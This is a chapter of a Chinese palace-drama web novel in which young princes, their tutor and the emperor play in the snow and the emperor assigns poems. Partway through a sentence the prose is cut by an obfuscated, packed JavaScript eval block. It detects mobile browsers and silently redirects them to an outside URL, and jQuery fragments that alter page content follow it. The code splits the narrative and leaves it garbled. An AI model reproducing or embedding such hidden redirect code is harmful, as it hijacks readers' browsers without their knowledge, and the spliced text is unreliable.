17.冷情太子养崽记17
作品:《穿为美强惨男主的弟弟[快穿]》 到了上书房,果然是迟了一些。
林俞手上还拿着晚晴塞的糕点,没吃完,这会没有直接进去,而是蹲在门外打探情况。
他扒着门框,小心翼翼探出脑袋,只见里面四皇子和五皇子已经端坐,不过讲台前倒是空着——谢师傅似乎也还没来?
林俞松了口气,正好旁边的五皇子转了过来,冲他挤眉弄眼。
林俞眨眨眼:五哥好像要说什么?但他没看懂。
算了,还是直接问吧。
他便挪到窗边,压低嗓子:“五哥,谢师傅到了没?”
奇怪,五哥怎么深深看了自己一眼后就把头转回去了?
林俞还要再问,面前的窗户忽然从里头被推开。林俞措不及防往后退,抬头正对上谢才卿那张似笑非笑的脸。
原来谢师傅早就到了,而且就站在窗户旁边。
“谢师傅……”林俞讪讪唤了一声。
谢才卿目光扫过林俞写满心虚的脸,又落在他手里那块还没来得及藏的糕点上,嘴角似乎微微动了一下,到底是没多说什么,只淡淡道:“行了,进来吧。”
林俞有些不好意思地溜进去,坐回自己的位置上。
上书房内一时寂静。
谢才卿立在讲台前,望着底下这一排皇子和伴读。
太子今日到朝会旁听,散朝后才来。而留下的这几个,估计是放假玩狠了,此刻一个个眼皮发沉,目光涣散,像霜打的茄子。
林俞倒是还精神,只不过他盯着塞到桌子里的晚晴姐姐装的糕点,好想吃呀。
谢才卿看了他们片刻,开口道:“今日……”
底下几个小脑袋齐齐一凛,以为要挨训。
“今日我们去外头赏雪。”
下面的几个脑袋一下子抬起来。
“……外头?”五皇子小心翼翼确认。
谢才卿负手而立,语声平淡:“正是。现在雪后初霁,正宜观景体物。”
他说着,已转身朝门外走去。
几人还愣着,只听见谢师傅似笑非笑的声音从外面传进来:“愣着做什么,不是早就想出去玩了?”
*
朝堂上,御史刚刚奏完事退到一旁,底下文武百官垂首敛目,只等御座上的那位开口发话。
太子站在最前排,一身朝服穿得整齐,任谁看了都要赞一句储君仪态端庄、气度沉稳。
可没人知道,这位向来警醒的太子,这会心思却飘远了。
也不知道弟弟今早好好吃早餐了没有?晚晴再去叫他的时候有没有赖床?去上书房别误了时辰……
太子心里想着弟弟的事情,一时没留意旁边。
“太子。”
御座上传来一声轻唤,太子毫无反应,依旧垂着眼,不知在想些什么。
皇帝又唤了一遍:“太子。”
殿内依旧无人应声。
这下,底下已有不少大臣偷偷抬眼,目光隐晦地落在太子身上。
储君一向机敏谨慎,上朝从无半分差池,而今日这是……走神了?
太子这才猛地回过神,心头一慌,连忙定了定神,上前一步躬身行礼。
“儿臣在,父皇唤儿臣何事?”
见太子终于回神,殿内的气氛才稍稍松了些,皇帝又将刚才的问题重复一遍。
太子将刚才父皇问的问题在心中过了一道,仔细斟酌了词句,再开口答出,自认为是妥帖的。
但御座上的那位听完,没说好,也没说不好。
太子心里顿时涌上一阵懊恼。
平日里上朝,他大多是在一旁静听学习,父皇极少点名让他当众应答,偏偏今日,他方才想着弟弟的事情,竟在百官面前失了态,被连唤两声才回过神。
太子甚至能清晰地感觉到,身后舅舅的目光正落在他身上,心中更添几分焦灼。
自己不会让舅舅失望吧……
好不容易熬到散朝,天色早已大亮。
太子跟着百官一同缓步退出大殿,刚走出殿门,就看见舅舅站在不远处的廊下,看着像是在等他。
太子脚步微顿,正要上前,身旁随侍的内侍却轻声上前,拦住了他,“殿下请留步,陛下传您过去一见。”
太子身形一僵。父皇极少在散朝后单独留他,此刻心中不由得慌乱起来,却还是强作镇定,应了句“知道了”。
他收回望向舅舅的目光,敛去眼底的不安,跟着内侍转身往宣政院走去。
宣政院内烧着地龙,一踏进去,暖意便裹了满身,让人紧绷的心弦稍稍松了些。
父皇正坐在御案后,低头翻阅着手里的文书,听见脚步声,才缓缓抬起头,神色看不出喜怒。
“太子来了,坐吧。”
太子依言上前,规规矩矩在一旁的椅子上坐下,双手轻轻放在膝上,心里依旧七上八下,不知道父皇单独留自己,是否为了早朝上走神那事。
他犹豫片刻,还是先轻声开口:“父皇……”
皇帝放下手中的文书,目光落在他身上,语气平和地问:“这段日子,可还习惯?”
太子微微一怔,一时没明白父皇的意思。
“朕是说,每日天不亮就上朝,下朝又要赶去上书房听课习字,日程排得紧,会不会太累?”
太子这才恍然,连忙垂下眼:“回父皇,还好。这些都是儿臣身为太子该做的,不累。”
他话音刚落,就听见御座上传来一声极轻的叹息。
太子疑惑地抬起头,正对上皇帝的目光。那目光里没有半分责备,也没有严厉,反倒带着几分无奈。
皇帝看着他,声音放缓了些:“你自幼就是个懂事的孩子,事事都要做到最好,朕也没操过什么心。”
这话说完,皇帝自己却顿了一下。
太子是他的第一个儿子。初为人父时,他也曾想过要如何教养这孩子,可这孩子自小就比旁人沉稳争气,样样都做得无可挑剔,日子一久,他便也渐渐放了心,只当儿子本就如此。
今日在朝堂上看见太子走神,皇帝心中暗自惊了一下。那一声“太子”,连唤两遍才把人叫回来。他坐在御座上,看着下面那张强作镇定的小人,忽然意识到:这孩子是不是绷得太紧了?
“太子,”他顿了顿,“还有父皇在。你不用时时刻刻把自己逼得这么紧,也不用凡事都绷着。”
太子张了张嘴,想说什么,最终还是习惯性地告退。他站起身,微微躬身:“父皇若是没有别的吩咐,儿臣先去上书房了,免得耽误课业。”
他刚要转身,就听见皇帝的声音再次响起。
“朕与你一同去。”
太子猛地抬头,只见父皇已经从御案后站起身,整理了一下衣袍,看着他微微挑眉:“怎么,朕去看看上书房上课什么样的,不行?”
路过太子身边见他还愣着,皇帝又笑道:“愣着做什么,走吧。”
上书房院子里,这会正热闹着。
半刻钟前,谢师傅说带他们出来打雪仗。
说是打雪仗,但考虑到都是王子皇孙的,金贵得很,谢才卿哪里敢让他们互相打,万一雪里裹了石子,或是谁手重些,他这差事也就到头了。
于是便让内侍在墙边立了几个草靶,每人分一块地方,对着红心扔。
四皇子团了半天,雪球终于成了形。他掂了掂,用力掷出去,却连靶子都没挨到边。
他不服,蹲下身继续团,嘴里还念叨着:“这靶子肯定没放正。”
五皇子蹲在旁边笑:“四哥,你这是扔雪球还是扔石头?”
“你行你来。”
“我来就我来。”五皇子站起身,摆了个架势,雪球脱手,却也只是擦到靶子边。
他愣了愣:“肯定是这雪球不对。”
四皇子笑得蹲在地上直不起腰:“老五,你不行就不行,怪雪球干什么?”
一旁的林俞没顾上看他们斗嘴。
他是第一次能这么痛快地玩雪,异常兴奋。
这会戴着厚厚的手套,蹲在地上认认真真堆了一个大雪球,正琢磨着是要扔靶,还是接着堆雪人,眼角余光忽然瞥见上书房外面有人进来。
林俞以为是太子哥哥上完朝回来了,眼睛一亮,正要扬声喊他,目光却先落在了走在前面的那人身上。
林俞抬起头,整个人却僵住了。
是太子哥哥没错,但走在他前面的那人居然是父皇!
林俞吓得浑身一激灵,手里的雪球“啪嗒”掉在脚边,看着走近到面前的高大身影,开口紧张到些结巴一下:“父、父皇,你怎么来了呀。”
皇帝将儿子这副表情收在眼底,觉得有趣,面上却不显,只微微挑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186721|196387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眉。
谢才卿本来站在旁边看热闹,手里还端着茶正悠闲品茶,这会见皇帝来了,不动声色将茶放下,连忙过来。
皇帝目光扫过满院的雪迹和那几个瞬间变成鹌鹑的儿子,最终落在侍立在一旁的谢才卿身上,声音开口听不出喜怒:“谢卿这课上得是别开生面呢。”
林俞心中:完蛋了(╥_╥)
旁边谢才卿上前一步,神色不变:“陛下明鉴,今日瑞雪,微臣请殿下们亲触冰雪,一为活动筋骨,二来……”
谢才卿抬眸,“纸上得来终觉浅。各位殿下在玩耍中亲自体会雪中的意境,有助于日后品读诗文,下笔有神。”
“哦?”皇帝语调微杨,目光扫过雪地没多计较,“原来是这般用意。”
太子看见弟弟站在后面,蔫蔫地垂着脑袋,他正要上前帮忙说话,却见听见弟弟小声嘀咕:“谢师傅这也太会糊弄了吧。”
林俞直到感觉周边的视线一下聚集到了自己身上,才反应过来,自己刚才一不小心将话说出声来。
太子眉心一挑,就见父皇转过来:“小七刚才说什么?朕刚刚没听清。”
林俞头皮一麻,连忙挤出一个天真无邪的笑容:“儿臣说……说父皇来得正好!这雪……雪中意境实在是难得!儿臣来陪父皇一起体验体验!”
见父皇看着自己手中的雪球,林俞立刻将雪球给父皇,“父皇,给!您放心,我堆的这个肯定是最结实的。”
皇帝眼中闪过一丝笑意,倒是没多计较,随手接过林俞递来的雪球,在手中颠了颠。
再次抬手,那雪球就划出一道利落的弧线,不偏不倚地砸在草靶的红心上。
“哇!”林俞狗腿道:“父皇您太厉害了吧!”
其它皇子也暗暗乍舌,没想到父皇随手一掷竟有这般准头,随后见父皇看过来,四皇子:“父皇真是英明神武。”
五皇子:“父皇这……”五皇子想夸却实在想不出什么夸人的话语,最终憋出来一句“姜还是老得辣。”
众人笑作一团。气氛也松动了。皇子们重新欢腾起来,雪球再次纷飞。
只不过,接下来的场景有些奇特,众皇子扔着扔着,总会看向旁边的明黄色身影,手里的动作不自觉地带上“表演”性质,力求动作优美,有观赏性。
皇帝从最开始发完那一个球后倒是站回了廊下。
太子也跟来在身后:“父皇。”
皇帝看着前面玩得尽兴的几个儿子,“你也和弟弟们一起去玩吧。”
太子一愣,应了声是。
场上,五皇子刚扔出一个紧挨靶心的好球,正得意地显摆。
林俞不服气,见太子哥哥过来,再次狗腿,将手中的雪球递过去:“哥哥,你拿这个丢,一定能丢得比四哥五哥好。”
太子接过弟弟塞来的雪球,还没来得及开口,就听见四皇子在后面嚷嚷:“七弟你这话我可听见了啊!”
五皇子也凑过来:“就是,凭什么就比我们好?”
林俞理直气壮:“因为是我堆的!”
太子失笑,抬手将带着弟弟殷切期望的雪球掷出去。这一下倒是不偏不倚,正中靶心。
四皇子和五皇子同时噤声。
林俞在旁边又跳又笑:“我就说吧!”
廊下,皇帝看着这一幕,嘴角微微扬起。他没再多留,只慢悠悠留下一句:“朕等着明天看你们交上来的诗篇,看是不是真的如谢卿所说的玩雪……噢,是亲身体验之后写得更好。”
“要是写的不好,那可是欺君之罪。”
见父皇说完,神清气爽地转身走了,林俞站在原地,脸上的笑意一点点僵住。
玩雪便玩雪,怎么还要写诗……倒是欲哭无泪。
……
太子回到东宫时,暮色已经沉沉地要压下来。白日里弟弟堆雪人时的清脆笑声,仿佛还零星散落在庭院各处,此刻却被这无边的寂静衬得格外遥远。
今日散学后,林俞惦记着父皇那句“欺君之罪”,没有和往常一样缠着他回东宫,而是直接回了华宁宫。少了那个蹦跳的身影,东宫便显得格外冷清。
雪已经化了不少,上面被脚踩过,留下许多杂乱的印子,像是有很多人来过。
太子跨进门去,脚步猛地顿住。
他和弟弟堆的那个雪人,倒了。

